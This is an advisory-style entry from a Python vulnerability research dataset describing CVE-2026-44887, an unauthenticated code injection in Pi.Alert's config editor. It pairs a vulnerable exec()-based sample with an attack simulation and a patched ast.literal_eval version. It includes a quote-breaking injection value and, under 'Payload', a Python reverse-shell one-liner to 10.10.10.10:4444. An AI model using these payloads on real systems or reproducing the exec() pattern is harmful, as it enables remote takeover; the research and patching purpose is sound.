CVE-2026-44887
Pi.Alert unauthenticated RCE via code injection in the config editor.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Remote
Pi.Alert is a WIFI / LAN intruder detector with web service monitoring. Prior to 2026-05-07, Pi.Alert's web-based configuration editor allows arbitrary Python code to be injected into pialert.conf. Since the background scan daemon loads this file via Python's exec(), injected code executes as the daemon process. With web protection disabled (the default configuration), no authentication is required, making this an unauthenticated Remote Code Execution vulnerability. This vulnerability is fixed in 2026-05-07.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-05-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Pi.Alert
Solution
Upgrade to Pi.Alert version 2026-05-07 or later.
Vulnerable code sample
import os
import sys
# Represents the pialert.conf file on disk
CONFIG_FILE = "pialert.conf"
def save_config_to_file(settings):
"""
Simulates the web-based editor saving configuration settings.
This function naively writes user-provided values into a Python-runnable file,
creating the injection vulnerability.
"""
try:
with open(CONFIG_FILE, "w") as f:
for key, value in settings.items():
# The vulnerability: The value is written directly into the file.
# A value like "10" is written as-is, but a value like
# "'); os.system('touch /tmp/pwned');('" is also written as-is.
f.write(f"{key} = '{value}'\n")
print(f"[*] Config saved to {CONFIG_FILE}")
except Exception as e:
print(f"[!] Error saving config: {e}")
def run_background_scan():
"""
Simulates the background daemon that reads the configuration file.
It uses exec() to load the settings, which executes any injected code.
"""
print("[*] Background daemon started. Loading configuration...")
config_globals = {}
try:
with open(CONFIG_FILE, "r") as f:
config_content = f.read()
# The core vulnerability: executing the untrusted config file content.
exec(config_content, config_globals)
scan_interval = config_globals.get('SCAN_INTERVAL', 60)
print(f"[*] Daemon loaded config. Scan interval: {scan_interval}")
print("[*] Performing scan...")
# In a real scenario, network scanning logic would be here.
except Exception as e:
print(f"[!] Error in background daemon: {e}")
if __name__ == "__main__":
# 1. Simulate an attacker submitting a malicious configuration value.
# The payload is injected into the 'DEVICE_NAME' field.
# It closes the string, executes a command, and then comments out the rest of the line.
malicious_payload = "MyPi'); os.system('echo RCE_SUCCESSFUL > vulnerable_proof.txt'); print('[!] Malicious code was executed!'); ('"
attacker_settings = {
'SCAN_INTERVAL': '300',
'DEVICE_NAME': malicious_payload,
'THEME': 'dark'
}
print("[+] Simulating attacker's web request to save malicious config...")
save_config_to_file(attacker_settings)
print("\n[+] Content of the malicious pialert.conf file:")
with open(CONFIG_FILE, "r") as f:
print("--------------------")
print(f.read().strip())
print("--------------------")
# 2. Simulate the background daemon starting up and loading the malicious config.
print("\n[+] Simulating the background daemon process starting...")
run_background_scan()
# 3. Verify that the remote code execution was successful.
if os.path.exists("vulnerable_proof.txt"):
print("\n[SUCCESS] The vulnerability was successfully exploited. 'vulnerable_proof.txt' created.")
os.remove("vulnerable_proof.txt") # Clean up
else:
print("\n[FAILURE] The exploit did not work as expected.")
# Clean up the config file
if os.path.exists(CONFIG_FILE):
os.remove(CONFIG_FILE)Patched code sample
import ast
def load_config_safely(config_path):
"""
Loads configuration by safely parsing key-value assignments.
This function fixes the vulnerability by replacing the dangerous use of exec()
with a secure parsing mechanism. It reads the configuration file line by line
and uses `ast.literal_eval()` to safely parse values. `ast.literal_eval`
only evaluates Python literals (e.g., strings, numbers, lists, dicts)
and raises an exception for arbitrary code or expressions, thus preventing
Remote Code Execution.
"""
config = {}
with open(config_path, 'r', encoding='utf-8') as f:
for line in f:
clean_line = line.strip()
# Ignore comments and empty lines
if not clean_line or clean_line.startswith('#'):
continue
# Split the line into a key and a value at the first '='
if '=' in clean_line:
key, value_str = clean_line.split('=', 1)
key = key.strip()
value_str = value_str.strip()
try:
# CORE OF THE FIX: Safely evaluate the value string.
# A malicious value like "__import__('os').system('...')"
# will raise a ValueError here instead of being executed.
config[key] = ast.literal_eval(value_str)
except (ValueError, SyntaxError):
# If ast.literal_eval fails, the value is not a safe literal.
# The line is skipped, and the malicious code is not executed.
# In a real application, this event should be logged.
pass
return configPayload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"]);
Cite this entry
@misc{vaitp:cve202644887,
title = {{Pi.Alert unauthenticated RCE via code injection in the config editor.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44887},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44887/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
